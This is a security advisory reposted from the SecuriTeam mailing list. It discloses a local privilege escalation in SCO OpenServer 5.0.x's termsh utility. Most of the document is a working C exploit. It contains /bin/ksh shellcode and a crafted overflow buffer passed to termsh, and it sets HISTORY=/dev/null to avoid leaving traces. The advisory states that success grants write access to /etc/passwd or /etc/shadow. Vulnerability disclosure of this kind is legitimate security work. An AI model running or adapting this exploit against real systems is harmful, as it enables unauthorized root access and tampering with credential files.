[EXPL] SCO Openserver termsh Local Privilege Escalation (Exploit)

The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  SCO Openserver termsh Local Privilege Escalation (Exploit)
------------------------------------------------------------------------


SUMMARY

 <http://www.sco.com/products/openserver/> SCO OpenServer is "a version of 
the Unix computer operating system developed by Santa Cruz Operation (SCO) 
and now maintained by the SCO Group".

A vulnerability in Openserver's termsh allows local users with 
unauthorized write access to system essential files.

DETAILS

Vulnerable Systems:
 * SCO Openserver version 5.0.x

Attacker will gain write access to /etc/passwd or /etc/shadow files on 
successful attack.

Exploit:
#include <stdio.h>
#include <stdlib.h>

char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90"
         "\x68\xff\xf8\xff\x3c\x6a\x65\x89"
         "\xe6\xf7\x56\x04\xf6\x16\x31\xc0"
         "\x50\x68""/ksh""\x68""/bin""\x89"
         "\xe3\x50\x50\x53\xb0\x3b\xff\xd6";

int main(int argc,char* argv[])
{
  char* buffer;
  char* arg = "-o";
  char *env[] = {"HISTORY=/dev/null",NULL};
  long eip,ptr;
  int i;
  printf("[ SCO Openserver 5.0.7 termsh local privilege escalation 
exploit\n");
  if(argc < 2)
  {
    printf("[ Error  : [path]\n[ Example: %s 
/opt/K/SCO/Unix/5.0.7Hw/usr/lib/sysadm/termsh\n",argv[0]);
    exit(0);
  }
  eip = 0xa2080853;
  buffer = malloc(7449 + strlen(shellcode));
  memset(buffer,'\x00',7449 + strlen(shellcode));
  ptr = (long)buffer + strlen(shellcode);
  strncpy(buffer,shellcode,strlen(shellcode));
  for(i = 1;i <= 1862;i++)
  {
    memcpy((char*)ptr,(char*)&eip,4);
    ptr = ptr + 4;
  }
  execle(argv[1],argv[1],arg,buffer,NULL,env);
  exit(0);
}


ADDITIONAL INFORMATION

The information has been provided by  <mailto:rodhedor@hotmail.co> RoD 
hEDoR.



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages.